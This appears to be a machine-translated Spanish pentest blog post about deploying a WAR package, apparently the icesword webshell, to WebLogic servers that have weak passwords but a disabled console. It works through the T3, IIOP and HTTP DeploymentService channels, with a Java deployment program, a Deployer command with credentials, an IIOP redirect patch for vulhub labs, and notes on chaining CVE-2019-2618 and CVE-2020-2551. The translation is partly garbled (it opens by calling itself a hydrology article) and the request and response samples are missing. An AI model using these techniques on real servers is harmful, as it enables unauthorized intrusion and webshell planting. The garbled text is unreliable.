El artículo de hidrología trata principalmente de la situación en la que hay una contraseña débil pero la consola se elimina.
Concéntrese en decir tres veces: contraseña de cuenta requerida, contraseña de cuenta requerida, contraseña de cuenta requerida
Varios puntos de inicio de sesión (HTTP / T3 / IIOP) comparten el bloqueo de la cuenta, siempre que el número total de errores supere cinco veces, se bloqueará durante media hora.
La práctica más común: implementación de aplicaciones de consola HTTP
El método más común, omítalo aquí.
Puede consultar: https://www.cnblogs.com/DFX339/p/8515200.html
Implementar paquete de guerra a través del protocolo T3
Requisitos previos: el protocolo T3 (predeterminado) está abierto y no hay un proxy inverso de la clase Nginx al frente.
No sé por qué no puedo conectarme directamente con la clase weblogic.Deployer incorporada.
java.exe -cp weblogic.jar -Djava.ext.dirs=. weblogic.Deployer -adminurl t3://localhost:7001 -username weblogic -password weblogic123 -deploy f:\test\icesword.war -remote -upload
Siempre avise:
No se puede conectar a 't3: // localhost: 7001': null. Asegúrese de que la URL represente un servidor de administración en ejecución y que las credenciales sean correctas. Si usa el protocolo http, la tunelización debe estar habilitada en el servidor de administración.
Cambie al código de implementación aquí, debe incluir las bibliotecas en lib y el módulo en weblogic.
import weblogic.deploy.api.tools.*; //SesionHelper
import weblogic.deploy.api.spi .*; //WebLogicDeploymentManager
import javax.enterprise.deploy.spi.Target;
import javax.enterprise.deploy.spi.exceptions.DeploymentManagerCreationException;
import javax.enterprise.deploy.spi.exceptions.TargetException;
import javax.enterprise.deploy.spi.status.DeploymentStatus;
import javax.enterprise.deploy.spi.status.ProgressObject;
import java.io.File;
public class T3 {
public static void main(String args[]) throws DeploymentManagerCreationException, TargetException {
String protocol="t3";
String hostName="192.168.92.128";
String portString="7001";
String adminUser="weblogic";
String adminPassword="Oracle@123";
WebLogicDeploymentManager deployManager=SessionHelper.getRemoteDeploymentManager( protocol,hostName,portString,adminUser,adminPassword);
DeploymentOptions options = new DeploymentOptions();
Target targets[]=deployManager.getTargets();
Target deployTargets[]=new Target[1];
deployTargets[0]=targets[0]; //admin server
System.out.println(deployTargets[0]);
System.exit(0);
String appName="icesword";
options.setName(appName);
ProgressObject processStatus=deployManager.deploy(deployTargets, new File("f:/test/icesword.war"), null,options);
DeploymentStatus stat = processStatus.getDeploymentStatus() ;
System.out.println("For icesword DeploymentStatus.getState(): " + stat.getState());
}
}
Indicación de operación:
se puede acceder normalmente, no se tomará ninguna captura de pantalla aquí.
emm a través del protocolo T3, todavía tiene que usar la interfaz HTTP DeploymentService para cargar el paquete war, consulte IIOP a continuación para obtener más detalles
Implementar a través del protocolo IIOP
Durante la prueba, la ventana acoplable de weblogic en vulhub no se pudo conectar normalmente.
Debido a que la IP real de la ventana acoplable es 172.19.0.2, y IIOP devolverá una respuesta de redirección después del protocolo de enlace, redirigirá a la IP, la
solución (aplicable a la deserialización de IIOP):
cree una weblogic.iiop.IOPProfile
clase usted mismo , modifique el read(IIOPInputStream var1)
método
en ConnectionKey var4 = new ConnectionKey(var1);
Unirse más tarde
Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());
Debido al ConnectionKey(IIOPInputStream var1)
método de construcción, los datos se leerán del flujo de entrada. Si esta línea simplemente se modifica, los flujos posteriores se leerán de manera anormal.
Archivo Java modificado: https://gist.github.com/fnmsd/b3e90da874d779f665b3ba06f9c93a31
Cambie el protocolo en el código anterior a iiop para implementar a través del protocolo IIOP.
Pero la captura del paquete encontró que el paquete war se /bea_wls_deployment_internal/DeploymentService
cargó a través de esta interfaz (la vulnerabilidad de carga de archivos de CVE-2019-2618 y una vulnerabilidad de deserialización fueron a través de esta interfaz)
Solicitud:
Respuesta: Como
puede ver, contiene ideas sobre la ubicación del archivo después de la carga.
:
-
Esta ruta absoluta se verá en el mensaje de implementación de IIOP, lo que significa que si la interfaz de carga HTTP está cerrada, se puede implementar a través de otras vulnerabilidades de carga + obtener la ruta absoluta
-
¿O es posible cargar a través del protocolo IIOP solo?
-
¿Se puede implementar con la deserialización de Weblogic IIOP (CVE-2020-2551) sin pasar por la autenticación?
Mensaje de implementación:
Implementación a través del protocolo HTTP (DeploymentService)
Esta vez, el protocolo directo no se cambia a HTTP y se informará de un error muy extraño.
Se encontró la captura de paquetes: el
túnel HTTP está deshabilitado.
El túnel HTTP debe estar habilitado en la configuración del servidor y se puede usar después del inicio, pero esta configuración no predeterminada no es muy significativa.
No he encontrado ningún otro punto que se pueda implementar a través de HTTP.
referencia
https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password
https://stackoverflow.com/questions/28002527/how-to-deploy-a-war-file-using-t3-protocol-weblogic-with-java
https://medium.com/@krishankantsinghal/deploying-undeploying-ear-war-to-weblogic-server-using-weblogic-deployer-62ca65c53ee6